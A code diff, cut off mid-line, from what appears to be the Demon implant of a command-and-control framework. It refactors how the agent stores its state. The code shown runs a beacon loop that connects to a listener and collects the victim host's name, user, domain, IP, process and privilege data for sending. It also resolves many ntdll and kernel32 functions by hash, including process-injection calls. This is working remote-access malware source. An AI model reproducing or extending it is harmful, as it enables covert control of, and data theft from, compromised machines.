-SEC_DATA BYTE AgentConfig[] = CONFIG_BYTES; +SEC_DATA PINSTANCE Instance = { 0 }; +SEC_DATA BYTE AgentConfig[] = CONFIG_BYTES; /* * In DemonMain it should go as followed: @@ -33,11 +33,16 @@ SEC_DATA BYTE AgentConfig[] = CONFIG_BYTES; */ VOID DemonMain( PVOID ModuleInst, PKAYN_ARGS KArgs ) { + INSTANCE Inst = { 0 }; + + /* "allocate" instance on stack */ + Instance = & Inst; + /* Initialize Win32 API, Load Modules and Syscalls stubs (if we specified it) */ DemonInit( ModuleInst, KArgs ); /* Initialize MetaData */ - DemonMetaData( &Instance.MetaData, TRUE ); + DemonMetaData( &Instance->MetaData, TRUE ); /* Main demon routine */ DemonRoutine(); @@ -62,7 +67,7 @@ VOID DemonRoutine() for ( ;; ) { /* if we aren't connected then lets connect to our host */ - if ( ! Instance.Session.Connected ) + if ( ! Instance->Session.Connected ) { /* Connect to our listener */ if ( TransportInit() ) @@ -70,12 +75,12 @@ VOID DemonRoutine() #ifdef TRANSPORT_HTTP /* reset the failure counter since we managed to connect to it. */ - Instance.Config.Transport.Host->Failures = 0; + Instance->Config.Transport.Host->Failures = 0; #endif } } - if ( Instance.Session.Connected ) + if ( Instance->Session.Connected ) { /* Enter tasking routine */ CommandDispatcher(); @@ -105,16 +110,16 @@ VOID DemonMetaData( PPACKAGE* MetaData, BOOL Header ) } // create AES Keys/IV - if ( Instance.Config.AES.Key == NULL && Instance.Config.AES.IV == NULL ) + if ( Instance->Config.AES.Key == NULL && Instance->Config.AES.IV == NULL ) { - Instance.Config.AES.Key = Instance.Win32.LocalAlloc( LPTR, 32 ); - Instance.Config.AES.IV = Instance.Win32.LocalAlloc( LPTR, 16 ); + Instance->Config.AES.Key = Instance->Win32.LocalAlloc( LPTR, 32 ); + Instance->Config.AES.IV = Instance->Win32.LocalAlloc( LPTR, 16 ); for ( SHORT i = 0; i < 32; i++ ) - Instance.Config.AES.Key[ i ] = RandomNumber32(); + Instance->Config.AES.Key[ i ] = RandomNumber32(); for ( SHORT i = 0; i < 16; i++ ) - Instance.Config.AES.IV[ i ] = RandomNumber32(); + Instance->Config.AES.IV[ i ] = RandomNumber32(); } /* @@ -152,20 +157,20 @@ VOID DemonMetaData( PPACKAGE* MetaData, BOOL Header ) */ // Add AES Keys/IV - PackageAddPad( *MetaData, ( PCHAR ) Instance.Config.AES.Key, 32 ); - PackageAddPad( *MetaData, ( PCHAR ) Instance.Config.AES.IV, 16 ); + PackageAddPad( *MetaData, ( PCHAR ) Instance->Config.AES.Key, 32 ); + PackageAddPad( *MetaData, ( PCHAR ) Instance->Config.AES.IV, 16 ); // Add session id - PackageAddInt32( *MetaData, Instance.Session.AgentID ); + PackageAddInt32( *MetaData, Instance->Session.AgentID ); // Get Computer name dwLength = 0; - if ( ! Instance.Win32.GetComputerNameExA( ComputerNameNetBIOS, NULL, &dwLength ) ) + if ( ! Instance->Win32.GetComputerNameExA( ComputerNameNetBIOS, NULL, &dwLength ) ) { - if ( ( Data = Instance.Win32.LocalAlloc( LPTR, dwLength ) ) ) + if ( ( Data = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) ) { MemSet( Data, 0, dwLength ); - if ( Instance.Win32.GetComputerNameExA( ComputerNameNetBIOS, Data, &dwLength ) ) + if ( Instance->Win32.GetComputerNameExA( ComputerNameNetBIOS, Data, &dwLength ) ) PackageAddBytes( *MetaData, Data, dwLength ); else PackageAddInt32( *MetaData, 0 ); @@ -179,12 +184,12 @@ VOID DemonMetaData( PPACKAGE* MetaData, BOOL Header ) // Get Username dwLength = 0; - if ( ! Instance.Win32.GetUserNameA( NULL, &dwLength ) ) + if ( ! Instance->Win32.GetUserNameA( NULL, &dwLength ) ) { - if ( ( Data = Instance.Win32.LocalAlloc( LPTR, dwLength ) ) ) + if ( ( Data = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) ) { MemSet( Data, 0, dwLength ); - if ( Instance.Win32.GetUserNameA( Data, &dwLength ) ) + if ( Instance->Win32.GetUserNameA( Data, &dwLength ) ) PackageAddBytes( *MetaData, Data, dwLength ); else PackageAddInt32( *MetaData, 0 ); @@ -198,12 +203,12 @@ VOID DemonMetaData( PPACKAGE* MetaData, BOOL Header ) // Get Domain dwLength = 0; - if ( ! Instance.Win32.GetComputerNameExA( ComputerNameDnsDomain, NULL, &dwLength ) ) + if ( ! Instance->Win32.GetComputerNameExA( ComputerNameDnsDomain, NULL, &dwLength ) ) { - if ( ( Data = Instance.Win32.LocalAlloc( LPTR, dwLength ) ) ) + if ( ( Data = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) ) { MemSet( Data, 0, dwLength ); - if ( Instance.Win32.GetComputerNameExA( ComputerNameDnsDomain, Data, &dwLength ) ) + if ( Instance->Win32.GetComputerNameExA( ComputerNameDnsDomain, Data, &dwLength ) ) PackageAddBytes( *MetaData, Data, dwLength ); else PackageAddInt32( *MetaData, 0 ); @@ -217,11 +222,11 @@ VOID DemonMetaData( PPACKAGE* MetaData, BOOL Header ) // Get internal IP dwLength = 0; - if ( Instance.Win32.GetAdaptersInfo( NULL, &dwLength ) ) + if ( Instance->Win32.GetAdaptersInfo( NULL, &dwLength ) ) { - if ( ( Adapter = Instance.Win32.LocalAlloc( LPTR, dwLength ) ) ) + if ( ( Adapter = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) ) { - if ( Instance.Win32.GetAdaptersInfo( Adapter, &dwLength ) == NO_ERROR ) + if ( Instance->Win32.GetAdaptersInfo( Adapter, &dwLength ) == NO_ERROR ) PackageAddString( *MetaData, Adapter->IpAddressList.IpAddress.String ); else PackageAddInt32( *MetaData, 0 ); @@ -234,29 +239,29 @@ VOID DemonMetaData( PPACKAGE* MetaData, BOOL Header ) PackageAddInt32( *MetaData, 0 ); // Get Process Path - PackageAddWString( *MetaData, ( ( PRTL_USER_PROCESS_PARAMETERS ) Instance.Teb->ProcessEnvironmentBlock->ProcessParameters )->ImagePathName.Buffer ); + PackageAddWString( *MetaData, ( ( PRTL_USER_PROCESS_PARAMETERS ) Instance->Teb->ProcessEnvironmentBlock->ProcessParameters )->ImagePathName.Buffer ); - PackageAddInt32( *MetaData, ( DWORD ) ( ULONG_PTR ) Instance.Teb->ClientId.UniqueProcess ); - PackageAddInt32( *MetaData, ( DWORD ) ( ULONG_PTR ) Instance.Teb->ClientId.UniqueThread ); - PackageAddInt32( *MetaData, Instance.Session.PPID ); + PackageAddInt32( *MetaData, ( DWORD ) ( ULONG_PTR ) Instance->Teb->ClientId.UniqueProcess ); + PackageAddInt32( *MetaData, ( DWORD ) ( ULONG_PTR ) Instance->Teb->ClientId.UniqueThread ); + PackageAddInt32( *MetaData, Instance->Session.PPID ); PackageAddInt32( *MetaData, PROCESS_AGENT_ARCH ); PackageAddInt32( *MetaData, BeaconIsAdmin( ) ); - PackageAddInt64( *MetaData, Instance.Session.ModuleBase ); + PackageAddInt64( *MetaData, U_PTR( Instance->Session.ModuleBase ) ); MemSet( &OsVersions, 0, sizeof( OsVersions ) ); OsVersions.dwOSVersionInfoSize = sizeof( OsVersions ); - Instance.Win32.RtlGetVersion( &OsVersions ); - PackageAddInt32( *MetaData, OsVersions.dwMajorVersion ); - PackageAddInt32( *MetaData, OsVersions.dwMinorVersion ); - PackageAddInt32( *MetaData, OsVersions.wProductType ); + Instance->Win32.RtlGetVersion( &OsVersions ); + PackageAddInt32( *MetaData, OsVersions.dwMajorVersion ); + PackageAddInt32( *MetaData, OsVersions.dwMinorVersion ); + PackageAddInt32( *MetaData, OsVersions.wProductType ); PackageAddInt32( *MetaData, OsVersions.wServicePackMajor ); - PackageAddInt32( *MetaData, OsVersions.dwBuildNumber ); - PackageAddInt32( *MetaData, Instance.Session.OS_Arch ); + PackageAddInt32( *MetaData, OsVersions.dwBuildNumber ); + PackageAddInt32( *MetaData, Instance->Session.OS_Arch ); - PackageAddInt32( *MetaData, Instance.Config.Sleeping ); - PackageAddInt32( *MetaData, Instance.Config.Jitter ); - PackageAddInt64( *MetaData, Instance.Config.Transport.KillDate ); - PackageAddInt32( *MetaData, Instance.Config.Transport.WorkingHours ); + PackageAddInt32( *MetaData, Instance->Config.Sleeping ); + PackageAddInt32( *MetaData, Instance->Config.Jitter ); + PackageAddInt64( *MetaData, Instance->Config.Transport.KillDate ); + PackageAddInt32( *MetaData, Instance->Config.Transport.WorkingHours ); } VOID DemonInit( PVOID ModuleInst, PKAYN_ARGS KArgs ) @@ -279,9 +284,7 @@ VOID DemonInit( PVOID ModuleInst, PKAYN_ARGS KArgs ) #endif }; - MemSet( &Instance, 0, sizeof( INSTANCE ) ); - - Instance.Teb = NtCurrentTeb(); + Instance->Teb = NtCurrentTeb(); #ifdef TRANSPORT_HTTP PUTS( "TRANSPORT_HTTP" ) @@ -293,166 +296,166 @@ VOID DemonInit( PVOID ModuleInst, PKAYN_ARGS KArgs ) /* resolve ntdll.dll functions */ - if ( ( Instance.Modules.Ntdll = LdrModulePeb( H_MODULE_NTDLL ) ) ) { + if ( ( Instance->Modules.Ntdll = LdrModulePeb( H_MODULE_NTDLL ) ) ) { /* Module/Address function loading */ - Instance.Win32.LdrGetProcedureAddress = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_LDRGETPROCEDUREADDRESS ); - Instance.Win32.LdrLoadDll = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_LDRLOADDLL ); + Instance->Win32.LdrGetProcedureAddress = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_LDRGETPROCEDUREADDRESS ); + Instance->Win32.LdrLoadDll = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_LDRLOADDLL ); /* Rtl functions */ - Instance.Win32.RtlAllocateHeap = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLALLOCATEHEAP ); - Instance.Win32.RtlReAllocateHeap = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLREALLOCATEHEAP ); - Instance.Win32.RtlFreeHeap = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLFREEHEAP ); - Instance.Win32.RtlExitUserThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLEXITUSERTHREAD ); - Instance.Win32.RtlExitUserProcess = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLEXITUSERPROCESS ); - Instance.Win32.RtlRandomEx = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLRANDOMEX ); - Instance.Win32.RtlNtStatusToDosError = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLNTSTATUSTODOSERROR ); - Instance.Win32.RtlGetVersion = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLGETVERSION ); - Instance.Win32.RtlCreateTimerQueue = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLCREATETIMERQUEUE ); - Instance.Win32.RtlCreateTimer = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLCREATETIMER ); - Instance.Win32.RtlQueueWorkItem = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLQUEUEWORKITEM ); - Instance.Win32.RtlRegisterWait = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLREGISTERWAIT ); - Instance.Win32.RtlDeleteTimerQueue = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLDELETETIMERQUEUE ); - Instance.Win32.RtlCaptureContext = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLCAPTURECONTEXT ); - Instance.Win32.RtlAddVectoredExceptionHandler = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLADDVECTOREDEXCEPTIONHANDLER ); - Instance.Win32.RtlRemoveVectoredExceptionHandler = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLREMOVEVECTOREDEXCEPTIONHANDLER ); - Instance.Win32.RtlCopyMappedMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_RTLCOPYMAPPEDMEMORY ); + Instance->Win32.RtlAllocateHeap = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLALLOCATEHEAP ); + Instance->Win32.RtlReAllocateHeap = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLREALLOCATEHEAP ); + Instance->Win32.RtlFreeHeap = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLFREEHEAP ); + Instance->Win32.RtlExitUserThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLEXITUSERTHREAD ); + Instance->Win32.RtlExitUserProcess = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLEXITUSERPROCESS ); + Instance->Win32.RtlRandomEx = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLRANDOMEX ); + Instance->Win32.RtlNtStatusToDosError = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLNTSTATUSTODOSERROR ); + Instance->Win32.RtlGetVersion = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLGETVERSION ); + Instance->Win32.RtlCreateTimerQueue = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCREATETIMERQUEUE ); + Instance->Win32.RtlCreateTimer = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCREATETIMER ); + Instance->Win32.RtlQueueWorkItem = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLQUEUEWORKITEM ); + Instance->Win32.RtlRegisterWait = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLREGISTERWAIT ); + Instance->Win32.RtlDeleteTimerQueue = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLDELETETIMERQUEUE ); + Instance->Win32.RtlCaptureContext = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCAPTURECONTEXT ); + Instance->Win32.RtlAddVectoredExceptionHandler = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLADDVECTOREDEXCEPTIONHANDLER ); + Instance->Win32.RtlRemoveVectoredExceptionHandler = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLREMOVEVECTOREDEXCEPTIONHANDLER ); + Instance->Win32.RtlCopyMappedMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCOPYMAPPEDMEMORY ); /* Native functions */ - Instance.Win32.NtClose = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTCLOSE ); - Instance.Win32.NtCreateEvent = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTCREATEEVENT ); - Instance.Win32.NtSetEvent = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTSETEVENT ); - Instance.Win32.NtSetInformationThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTSETINFORMATIONTHREAD ); - Instance.Win32.NtSetInformationVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTSETINFORMATIONVIRTUALMEMORY ); - Instance.Win32.NtGetNextThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTGETNEXTTHREAD ); - Instance.Win32.NtOpenProcess = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTOPENPROCESS ); - Instance.Win32.NtTerminateProcess = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTTERMINATEPROCESS ); - Instance.Win32.NtQueryInformationProcess = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONPROCESS ); - Instance.Win32.NtQuerySystemInformation = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUERYSYSTEMINFORMATION ); - Instance.Win32.NtAllocateVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTALLOCATEVIRTUALMEMORY ); - Instance.Win32.NtQueueApcThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUEUEAPCTHREAD ); - Instance.Win32.NtOpenThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTOPENTHREAD ); - Instance.Win32.NtOpenThreadToken = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTOPENTHREADTOKEN ); - Instance.Win32.NtResumeThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTRESUMETHREAD ); - Instance.Win32.NtSuspendThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTSUSPENDTHREAD ); - Instance.Win32.NtCreateEvent = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTCREATEEVENT ); - Instance.Win32.NtDuplicateObject = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTDUPLICATEOBJECT ); - Instance.Win32.NtGetContextThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTGETCONTEXTTHREAD ); - Instance.Win32.NtSetContextThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTSETCONTEXTTHREAD ); - Instance.Win32.NtWaitForSingleObject = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTWAITFORSINGLEOBJECT ); - Instance.Win32.NtAlertResumeThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTALERTRESUMETHREAD ); - Instance.Win32.NtSignalAndWaitForSingleObject = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTSIGNALANDWAITFORSINGLEOBJECT ); - Instance.Win32.NtTestAlert = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTTESTALERT ); - Instance.Win32.NtCreateThreadEx = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTCREATETHREADEX ); - Instance.Win32.NtOpenProcessToken = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTOPENPROCESSTOKEN ); - Instance.Win32.NtDuplicateToken = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTDUPLICATETOKEN ); - Instance.Win32.NtProtectVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTPROTECTVIRTUALMEMORY ); - Instance.Win32.NtTerminateThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTTERMINATETHREAD ); - Instance.Win32.NtWriteVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTWRITEVIRTUALMEMORY ); - Instance.Win32.NtContinue = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTCONTINUE ); - Instance.Win32.NtReadVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTREADVIRTUALMEMORY ); - Instance.Win32.NtFreeVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTFREEVIRTUALMEMORY ); - Instance.Win32.NtUnmapViewOfSection = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTUNMAPVIEWOFSECTION ); - Instance.Win32.NtQueryVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUERYVIRTUALMEMORY ); - Instance.Win32.NtQueryInformationToken = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONTOKEN ); - Instance.Win32.NtQueryInformationThread = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONTHREAD ); - Instance.Win32.NtQueryObject = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTQUERYOBJECT ); - Instance.Win32.NtTraceEvent = LdrFunctionAddr( Instance.Modules.Ntdll, H_FUNC_NTTRACEEVENT ); + Instance->Win32.NtClose = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCLOSE ); + Instance->Win32.NtCreateEvent = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCREATEEVENT ); + Instance->Win32.NtSetEvent = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETEVENT ); + Instance->Win32.NtSetInformationThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETINFORMATIONTHREAD ); + Instance->Win32.NtSetInformationVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETINFORMATIONVIRTUALMEMORY ); + Instance->Win32.NtGetNextThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTGETNEXTTHREAD ); + Instance->Win32.NtOpenProcess = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENPROCESS ); + Instance->Win32.NtTerminateProcess = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTERMINATEPROCESS ); + Instance->Win32.NtQueryInformationProcess = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONPROCESS ); + Instance->Win32.NtQuerySystemInformation = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYSYSTEMINFORMATION ); + Instance->Win32.NtAllocateVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTALLOCATEVIRTUALMEMORY ); + Instance->Win32.NtQueueApcThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUEUEAPCTHREAD ); + Instance->Win32.NtOpenThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENTHREAD ); + Instance->Win32.NtOpenThreadToken = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENTHREADTOKEN ); + Instance->Win32.NtResumeThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTRESUMETHREAD ); + Instance->Win32.NtSuspendThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSUSPENDTHREAD ); + Instance->Win32.NtCreateEvent = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCREATEEVENT ); + Instance->Win32.NtDuplicateObject = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTDUPLICATEOBJECT ); + Instance->Win32.NtGetContextThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTGETCONTEXTTHREAD ); + Instance->Win32.NtSetContextThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETCONTEXTTHREAD ); + Instance->Win32.NtWaitForSingleObject = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTWAITFORSINGLEOBJECT ); + Instance->Win32.NtAlertResumeThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTALERTRESUMETHREAD ); + Instance->Win32.NtSignalAndWaitForSingleObject = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSIGNALANDWAITFORSINGLEOBJECT ); + Instance->Win32.NtTestAlert = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTESTALERT ); + Instance->Win32.NtCreateThreadEx = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCREATETHREADEX ); + Instance->Win32.NtOpenProcessToken = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENPROCESSTOKEN ); + Instance->Win32.NtDuplicateToken = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTDUPLICATETOKEN ); + Instance->Win32.NtProtectVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTPROTECTVIRTUALMEMORY ); + Instance->Win32.NtTerminateThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTERMINATETHREAD ); + Instance->Win32.NtWriteVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTWRITEVIRTUALMEMORY ); + Instance->Win32.NtContinue = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCONTINUE ); + Instance->Win32.NtReadVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTREADVIRTUALMEMORY ); + Instance->Win32.NtFreeVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTFREEVIRTUALMEMORY ); + Instance->Win32.NtUnmapViewOfSection = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTUNMAPVIEWOFSECTION ); + Instance->Win32.NtQueryVirtualMemory = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYVIRTUALMEMORY ); + Instance->Win32.NtQueryInformationToken = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONTOKEN ); + Instance->Win32.NtQueryInformationThread = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONTHREAD ); + Instance->Win32.NtQueryObject = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYOBJECT ); + Instance->Win32.NtTraceEvent = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTRACEEVENT ); } else { PUTS( "Failed to load ntdll from PEB" ) return; } /* resolve Windows version */ - Instance.Session.OSVersion = WIN_VERSION_UNKNOWN; + Instance->Session.OSVersion = WIN_VERSION_UNKNOWN; OSVersionExW.dwOSVersionInfoSize = sizeof( OSVersionExW ); - if ( NT_SUCCESS( Instance.Win32.RtlGetVersion( &OSVersionExW ) ) ) { + if ( NT_SUCCESS( Instance->Win32.RtlGetVersion( &OSVersionExW ) ) ) { if ( OSVersionExW.dwMajorVersion >= 5 ) { if ( OSVersionExW.dwMajorVersion == 5 ) { if ( OSVersionExW.dwMinorVersion == 1 ) { - Instance.Session.OSVersion = WIN_VERSION_XP; + Instance->Session.OSVersion = WIN_VERSION_XP; } } else if ( OSVersionExW.dwMajorVersion == 6 ) { if ( OSVersionExW.dwMinorVersion == 0 ) { - Instance.Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_VISTA : WIN_VERSION_2008; + Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_VISTA : WIN_VERSION_2008; } else if ( OSVersionExW.dwMinorVersion == 1 ) { - Instance.Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_7 : WIN_VERSION_2008_R2; + Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_7 : WIN_VERSION_2008_R2; } else if ( OSVersionExW.dwMinorVersion == 2 ) { - Instance.Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_8 : WIN_VERSION_2012; + Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_8 : WIN_VERSION_2012; } else if ( OSVersionExW.dwMinorVersion == 3 ) { - Instance.Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_8_1 : WIN_VERSION_2012_R2; + Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_8_1 : WIN_VERSION_2012_R2; } } else if ( OSVersionExW.dwMajorVersion == 10 ) { if ( OSVersionExW.dwMinorVersion == 0 ) { - Instance.Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_10 : WIN_VERSION_2016_X; + Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_10 : WIN_VERSION_2016_X; } } } - } PRINTF( "OSVersion: %d\n", Instance.Session.OSVersion ); + } PRINTF( "OSVersion: %d\n", Instance->Session.OSVersion ); /* load kernel32.dll functions */ - if ( ( Instance.Modules.Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ) ) ) { - Instance.Win32.LoadLibraryW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_LOADLIBRARYW ); - Instance.Win32.VirtualProtectEx = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_VIRTUALPROTECTEX ); - Instance.Win32.VirtualProtect = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_VIRTUALPROTECT ); - Instance.Win32.LocalAlloc = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_LOCALALLOC ); - Instance.Win32.LocalReAlloc = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_LOCALREALLOC ); - Instance.Win32.LocalFree = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_LOCALFREE ); - Instance.Win32.CreateRemoteThread = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATEREMOTETHREAD ); - Instance.Win32.CreateToolhelp32Snapshot = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATETOOLHELP32SNAPSHOT ); - Instance.Win32.Process32FirstW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_PROCESS32FIRSTW ); - Instance.Win32.Process32NextW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_PROCESS32NEXTW ); - Instance.Win32.CreatePipe = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATEPIPE ); - Instance.Win32.CreateProcessW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATEPROCESSW ); - Instance.Win32.GetFullPathNameW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETFULLPATHNAMEW ); - Instance.Win32.CreateFileW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATEFILEW ); - Instance.Win32.GetFileSize = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETFILESIZE ); - Instance.Win32.GetFileSizeEx = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETFILESIZEEX ); - Instance.Win32.CreateNamedPipeW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATENAMEDPIPEW ); - Instance.Win32.ConvertFiberToThread = 